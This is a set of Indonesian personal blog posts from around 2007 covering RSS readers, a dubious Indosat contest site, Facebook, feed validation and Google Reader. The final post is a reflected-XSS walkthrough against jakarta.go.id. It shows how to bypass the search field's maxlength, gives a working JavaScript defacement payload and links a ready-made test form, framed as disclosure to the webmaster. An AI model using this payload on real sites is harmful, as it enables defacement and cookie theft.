Tulisan Sesudah Sebelum Tulisan Dimulai…
Akhirnya beralih ke Bloglines, layanan yang menurut saya lebih ringan dibanding Google Reader.

Tapi kadang akses ke Bloglines.com tidak stabil, kadang cepat kadang juga malah sampai browser menyerah

Lalu saya memutuskan untuk pindah lagi, tentunya dengan mengimpor semua RSS yang sudah saya subscribe di Bloglines ke layanan baru nanti, caranya mudah tinggal klik bagian edit lalu pilih Export Subscription, dan langsung mendapat file .opml nya.

Lalu mencoba-coba cari di internet, apakah ada layanan aplikasi desktop yang sesuai dengan yg diinginkan.

Ternyata ada sebuah aplikasi yang menurut saya sesuai, yaitu NetNewsWire. Enaknya aplikasi ini bisa disinkronisasi dengan NewsGator, jadi jika kebetulan saya membawa Macbook saya, maka saya bisa membaca lewat NetNewsWire yang sudah terinstall.

Dan jika suatu saat saya tidak membawa MacBook saya, tetapi saya ingin membaca blog dan situs web melalui RSS reader saya, tinggal buka NewsGator.com, dengan otomatis semua RSS yang saya subscribe, berikut dengan posting yang sudah saya baca sama dengan yang ada di NetNewsWire.

Lebih lanjut tentang NetNewsWire.

Tulisan Sesudah Tulisan…

Awalnya dapet info di milis WongKito ada perlombaan dari Indosat yang bertajuk: Indosat Blog Contest. Sebuah lomba untuk menyambut hari blogger nasional. Wah, lumayan nih, bisa ikutan lomba. Akhirnya menuju ke URI yang diberikan. Tapi ternyata eng ing eng…

Tulisan Sesudah Sebelum Tulisan Dimulai…

Ternyata situs web lomba tersebut adalah: www.sinyalkuat.co.cc

Eh kok ada yang aneh ya? mengapa mesti pake domain gratisan dari .co.cc? Apa Indosat gak sanggup bayar domain?

Beberapa keanehan tentu saja:

1. Memakai domain gratis .co.cc
   Mungkin hal ini menjadi aneh karena harga GTLD berbayar hanya berkisan Rp 75.000 – Rp 100.000. Seperti yang kita semua tahu bahwa Indosat bukanlah perusahaan kacangan, Indosat salah satu perusahaan terbesar di Indonesia.
2. Memakai server hosting yang gratisan juga.
   Nah ini yang paling aneh, Indosat harusnya juga mempunyai server yang handal. Tentu saja! Kalian meragukannya? Saya pernah memakai server yang dimiliki Indosat pada awal tahun ini, sangat bagus, paling bagus diantara Dedicated Server yang pernah saya pakai.Server yang dipakai pada situs web Indosat Blog Contest ini memakai hosting gratis dari websamba.com, sebuah server hosting ASP gratis.

Kalau saya analisis, kemungkinan adalah seperti ini (dalam konteks jika ini benar-benar acara yang diadakan resmi oleh Indosat):

1. Untuk domain saya bingung sekali, kenapa begini. Kemungkinan situs web ini dibuat oleh orang yang bekerja sama dengan Indosat dalam lomba ini, cuma masa sih tidak mendapat biaya untuk membuatnya sehingga mempunyai domain yang berbayar, minimal .web.id murah, cuma Rp25000/tahun.
2. Pembuat situs web adalah yang hanya mengerti bahasa pemrograman ASP, karena setahu saya (pengalaman saya memakai server Indosat pada awal tahun ini) hosting dari Indosat tersebut cuma mensupport bahasa pemrograman PHP.

Apa salahnya memakai domain dan hosting gratisan?

Memang tidak salah, tetapi ini akan menjadi keraguan pada mereka-mereka yang ingin mengikuti lomba ini. Karena dibenak mereka akan ada pertanyaan: “Apakah benar ini adalah lomba yang diadakan oleh Indosat?”

Tetapi walau dari semua “keanehan” tersebut, jika memang ini adalah lomba resmi dari Indosat, maka saya tertarik untuk mengikuti *berpikir untuk mendaftarkan blog yang mana ya? Maklum saya ada 4 blog*

Tulisan Sesudah Tulisan…

Ada konfirmasi dari pihak penyelenggara Indosat Blog Contest ini? Minimal mengatakan bahwa memang benar lomba ini adalah resmi dari Indosat.

Dan satu lagi: kenapa harus memasang banner (bukan badge), BANNER YANG GEDE SEKALI, segede 500 piksel? Dan kenapa harus dibuat memakai flash? Maklum saja, ada beberapa bloger dan webmaster yang agak alergi memakai flash di situs web/blog mereka, ngabisin resources bandwith dan membuat akses menjadi berat (kadang malah saya memblok semua banner flash di situs web yang saya kunjungi).

Untuk sebagian besar perbedaan, kekurangan, dan keunggulan 3 jejaring sosial terpopuler (Friendster, MySpace, Facebook) Anda bisa cek tulisan Nenda.

Tulisan Sesudah Sebelum Tulisan Dimulai…
Yang jelas jejaring sosial memang lagi marak-maraknya sekarang. Apalagi Friendster, duh kalo melihat di warnet atau di tempat yang ada koneksi internetnya, pastinya sebagian besar pengunjung membuka Friendster (maklum, para abegeh Indonesia biasanya cuma tau Friendster ).

Dan fenomena Friendster ini pun juga masuk ke kampus saya. Dan hal ini dimanfaatkan oleh para bedebah-bedebah perpustakaan kampus (kebetulan di perpustakaan disediakan komputer dan para bedebah inilah yang menghabiskan bandwidth dengan menyedot begiga-giga file video) untuk memasang Sniffer untuk mendapatkan username dan password Friendster para mahasiswa dan mahasiswi. Gimana para bedebah-bedebah?? ada sanggahan??

Maklum, salah satu kelemahan Friendster tidak menyediakan secure login (SSL) untuk usernya sehingga dengan mudahnya username dan password bisa terlihat. Beda dengan Facebook yang menyediakan SSL (he he… nah siapa yg merasa jaringannya termonitori oleh sniffer?? mending pake Facebook)

Hoho, kok kesannya saya mempromosikan Facebook yah?? Memang dalam rangka memperbanyak user Facebook di Indonesia. Banyak sekali fitur yang bisa Anda manfaatkan termasuk memadukan foto dari Flickr (walau akhir-akhir ini Friendster menambah aplikasi juga, ntah ikut-ikutan atau gimana). Lebih baik baca lagi deh di sini jika ingin tau keunggulan Facebook.

Yang jelas, jika account Friendster saya semuanya berisi foto-foto palsu. Tetapi di Facebook, semua yang saya tulis asli. Ntah kenapa seperti ada sesuatu yang menyebabkan saya begitu

Dan ternyata penyanyi yang paling saya kagumi (dan sayangi) ada di Facebook juga

He he, sudah tau kan dimana arah posting saya kali ini?? Yup mau memberitahukan bahwa Avril Lavigne punya accout Facebook yang bisa kamu lihat di sini: http://www.facebook.com/avrillavigne. Great!!!

Yang layak Anda kunjungi juga di Facebook:

1. Profil saya (narsis )
2. Group Berapa banyak orang Indonesia yang join Facebook
3. Group WongKito (klo mau gabung, cuma buat member WongKito)
4. Group Kampung Gajah (klo mau gabung, cuma buat member ID-Gmail)
5. Group Komunitas Firefox Indonesia

Tulisan Sesudah Tulisan…
Facebook cinderamata dari abad 21

Sumbangan video dari mas Iman Brotoseno dengan judul “Aku Bangga Blogger Indonesia”

[youtube 1Xjm7njzMaI Pesta Blogger]

dapet dari PestaBlogger

Yuk, sama-sama posting

Wah, wah, wah. Selidik punya selidik, ternyata banyak yg menuju ke file MP3 Avril Lavigne yg ak taruh di hosting blog ak.

Dan web yang mempromosikan link ak tersebut adalah web yg pake Google Adsense. Padahal saya tidak pernah memakai blog saya untuk adsense, ini blog non-komersial. Saya akan menaruh iklan di web saya yg laen. INI BUKAN BLOG KOMERSIAL.

Dan saya tidak berminat untuk memperbesar GooglePR saya/membuat web saya terkenal dengan cara seperti ini.

Jadi, ini peringatan pengumuman kepada pemilik web yg mempunyai screenshot di bawah. Mohon maaf jika link direct MP3 yg Anda taruh di blog/web Anda tidak akan bisa diakses pada hari ke 3 hari ke 2 semenjak posting ini diturunkan.

sengaja gak dikasih link ke 2 web di atas. Maklum, biar gak ke summon.

Sebenernya ini salah saya yg mengupload file MP3 Avril. Buat para blogger yang mau unduh/donlot. Silahkan, ingat 3 hari 2 hari setelah posting ini dipublikasikan.

Terima Kasih

http://detikinet.com/index.php/feed/

nb: RSS di atas gak bisa lagi, ada pesan: Requested circuit “feed” doesn’t exist jika Anda membukanya. (23-08-07, RSS detik berganti lagi menjadi yg di atas)

Lalu RSSnya berganti menjadi:

http://detikinet.com/index.php/detik.feed

Nah, yang ini bisa, cuma masalahnya RSS dari detikinet yg baru ini ternyata tidak valid:

1. Harusnya tag <guid> tidak boleh mengarah ke alamat yg sama (jadi, harus unik, karena ini yg akan digunakan untuk mengarahkan subscriber ke alamat posting yang asli).
   Yang dilakukan detikinet adalah tag <link> yang dibuat unik (harusnya <guid> juga dibuat unik)
2. Penanggalan yang salah. Penanggalan di RSS detikinet <pubDate> tidak mengikuti RFC-822 date-time.

buat kamu yg mau buat format tanggal RFC-822 date-time bisa pake fungsi:
[code lang="php"]
date("r", strtotime("$variabel_tanggal_Anda"));
[/code]

Hasil validasi RSS detikinet bisa diliat dengan mengklik:

Feed Validator
Feed Validator (update) 

Anda juga bisa mencoba validasi RSS Anda di sini.

nb: RSS blog saya ini valid, cuma ada tag HTML <span> yang dibuat plugins untuk konversi ke PDF yg sedikit di warning oleh Feed Validator

Akhirnya dengan sedikit kerja keras memeras otak buat scriptnya akhirnya jadilah Idiotnesia Kronologi. kamu bisa memanfaatkan servis gratis ini di alamat:

http://kron.idiotnesia.com

Apa itu kronologi??

Kasihan dong, udah capek-capek buat, cuma ternyata gak ad yg mengerti apa itu kronologi. Ok, sekarang bahas apa itu kronologi. Kronologi mungkin belum terlalu terkenal di antara para blogger (cuma, klo ak liat seeh ini bener2 berguna).

Pengertian Umum

Kronologi semacam atribut tambahan pada blog Anda (widget) yang berisikan kegiatan pemilik blog dari waktu ke waktu. Uniknya posting yang dilakukan oleh pemilik blog bisa dilakukan melalui ponsel.

Memerlukan apa saja??

Kamu butuh ponsel yang bisa pake GPRS. Trus karena webnya didesain sesederhana mungkin, kamu bisa posting tanpa membebani pulsa kamu. Bisa juga pake WiFi buat yg ad di area hotspot.

Ditaruh dimana??

Jangan tanya saya, copy paste aj JavaScript yang dikasih di halaman Administrasi Idiotnesia Kronologi ini, lalu baca konfigurasinya. Ok!!!

Tips: Klo ak kan pake WordPress, nah menuju aj ke menu Presentation, terus ke bagian Widgets. Lalu tambah satu Text 1, lalu masukkan JavaScript dari Idiotnesia Kronologi .

Silahkan mencoba!!! ak sudah pasang juga kok, liat aj di bagian kanan (sidebar) blog ak.. (itu tuh, di bagian: rd Limosin lagi ngapain??)

1 januari 2008: untuk saat ini, Idiotnesia tidak lagi membuka service tsb

Jadi tulisan ini buat kamu yg suka blogwalking dan blom tau ttg Google Reader, juga buat kamu yg sudah tau, cuma kali aja masih mau baca tulisan ak (kan penyampaian seseorang dari tulisannya beda-beda ).

Untuk bisa memanfaatkan Google Reader, kamu mesti ada account GMail. Klo belum buruan ke: http://www.gmail.com.

Sudah dapet account Google, nah kamu coba arahkan browser kamu ke alamat: http://www.google.com/reader/. Masukin username dan password kamu.

Nah, di halaman Google Reader, kamu bisa masukkan RSS yang kamu sukai seperti: http://feeds.feedburner.com/NextBillionaireBlog (sekalian promosi ).

Trus kamu juga bisa masukin RSS tersebut ke kategori yg kamu sukai. Klo ak sendiri ad 3 kategori: blogroll (untuk RSS blogger yg ak sering kunjungi, tenang semua blogger yg komen di blog ak ad kok >- ), news (untuk berita Indonesia mulai dari detikinet, kompas, okezone, media indonesia, BBC Indonesia, dll), terus kategori punya saya (untuk melihat komentar yg masuk ke blog ak).

Ok, eksperiens is de bes ticer, jadi kamu coba-coba sendiri ya manfaat dari Google Reader.

Nah buat para blogger, mohon sediakan alamat RSS kamu biar para blogger laennya bisa tau blog kamu update terus pas blogwalking (ini terjadi pas ak minta RSSnya Akang Azis, maklum Kang Azis pake Joomla jadi mesti module RSSnya diaktifin dulu).

Kejadian yg serupa ak alami pas ngunjungin blog thuns, RSSnya rusak, jadi terpaksa ke alamat RSS default WP: wp-rss.php (weei, yg disinggung namanya, benerin kek… :> ).

Buat yg pake WordPress, kamu tinggal aktifin fungsinya pake code:

Post RSS2
[code lang="php"]
< ?php bloginfo('rss2_url'); ?>
[/code]

Comment RSS2
[code lang="php"]
< ?php bloginfo('comments_rss2_url'); ?>
[/code]

Jangan takut, klo kamu pake themes WP yang pembuatnya berkredibilitas tinggi, biasanya sudah dibuat deh dengan sendirinya, minimal ada di bagian <head>:

[code lang="html4strict"]

[/code]

Buat kamu yg pake TextPattern (ini biar seseorang yg pake TextPattern merasa seneng )

alamat RSS di TextPattern
/textpattern/publish/rss.php

Bener gak Kus?? maklum blom sempet ngoprek TextPattern terlalu banyak (mohon dibenerin)

Atw kamu bisa juga daftarin RSS kamu ke feedburner biar RSS makin ngetop. Karena feedburner bisa buat nampilin gini:

dan ini:

Selamat ber-RSS ria dan ber-Google Reader ria

Di blognya romisatriawahono ada tulisan hacked by kartal di hal utamany

Langsung menuju ke TKP, ternyata memang benar, disana blog Pak Romi (pendiri IlmuKomputer, Gegar, dan Brainmathics) terpampang tulisan:

HACKED BY KARTAL

TURKiSH HACKER

screenshot:

Trus ak pikir, cuma halaman index-nya yg di hack, akhirnya ak coba masuk ke blognya melalui permalink langsung seperti: http://romisatriawahono.net/2007/07/08/4-jenis-mahasiswa-anda-termasuk-yang-mana/

ternyata juga gak bisa diakses dan ada tulisan tsb…

Duh, ada apa dengan keamanan WP?? Jadi was was neeh

Turut berduka dengan blog Pak Romi, padahal barusan tadi pagi terima email dari Pak Romi mengenai plugin WP yang ak tanya di blog dia yang bisa untuk melihat jadwal.

Nah, lagi asik browsing, coba search engine di situs itu. Bingung kok kata yang dicari dibatesin cuma bisa sampe 17 karakter. Agak aneh memang, biasanya mesin pencari gak membatasi kita mo cari berapa karakter.


Trus iseng-iseng masukin kata seperti ini:

[code lang="html4strict"]

tes

[/code]

Nah, yang terjadi:

Loh, kok gitu?? knapa tag HTML bisa masuk?? iseng-iseng, coba ah masukin script JavaScript, siapa tau situs ini rentan XSS

Nah, permasalahannya, karena cuma dibatesin 17 karakter, jadi mesin cari di web ini gak mungkin ditulisin script spt:

[code lang="javascript"][/code]

yang notabene lebih dari 17 karakter.

Karena saya (ngakunya) webmaster, masa seeh gak tau logikanya bikin web, jadi tinggal buat aja tampilan dengan mencontek situs ini. Maka seperti biasa saya View Source (( Cuma buat pengguna Mozilla Firefox. Klo gak kebuka, bisa CTR+U, atau pilih View Source ))

Ok, terus buat file HTML yang mirip dengan mesin cari di situs tsb, terus kita ilangin perintah maxlength=”17″, terus karena saya suka XHTML jadi kode yg gak ditutup jadi saya tutup + tambahin nama domain di bagian action:

[code lang="html4strict"]

action="http://jakarta.go.id/v21/cari/default.asp?act=list&lg=1">

[/code]

terus beri nama terserah. Klo saya beri nama dengan jakarta.html

Nah tampilannya jadi kayak ini:

Nah, terus coba masukin script JavaScript spt ini di dalem form input yang sudah dibuat:

[code lang="javascript"][/code]

Dan yang terjadi??? :”> Bisa tembus XSS

Nah, klo gitu kita coba yang agak aneh-aneh ya, masa seeh udah tau ada bug XSS malah dibiarin gitu aja. Kita coba ‘agak-agak nakal‘ ya. Coba buat script JavaScript dengan kode seperti berikut:

[code lang="javascript"]
var title = "Tes tes XSS";
var bgcolor = "#000000";
var image_url = "http://farm3.static.flickr.com/2400/1850740005_0120d0218e.jpg";
var text = "Hasil Deface Ini Semata-mata Hanya Untuk Belajar! Bagi Webmaster, mohon benahi segera. Terima Kasih";
var font_color = "#FF0000";

deface(title, bgcolor, image_url, text, font_color);

function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Tahoma';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);

if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}

var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Tahoma';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
}
[/code]

Terus, simpan dengan ekstensi .js (untuk nama terserah, tetapi ak pake nama xss.js)

Terus tinggal masukin alamat script tadi ke dalam form input yang telah dibuat tadi. Dengan script seperti ini:

[code lang="javascript"][/code]

Nah jadilah tampilan seperti ini:

Untuk kamu yang mo coba, ak sudah upload file untuk mencoba:

jakarta.html

Parahnya, situs ini juga gak bisa ngenalin metode $_POST dan $_GET pada metode REQUEST, jadi bisa diinject dengan membuat alamat URI seperti ini:

Tes XSS

Untuk semuanya, saya bukan bermaksud sombong, sok menjadi hacker, dan sebagainya. Saya cuma ingin Anda tau untuk kemajuan kita bersama. Untuk webmaster jakarta.go.id semoga bisa dapat cepat menutup bug ini. Berbahaya jika orang lain malah mengambil isi cookies yg ada di web tsb dengan XSS. Buat temen-temen yg blogger, klo ada yg kenal sama webmasternya coba hubungi dia. Terima Kasih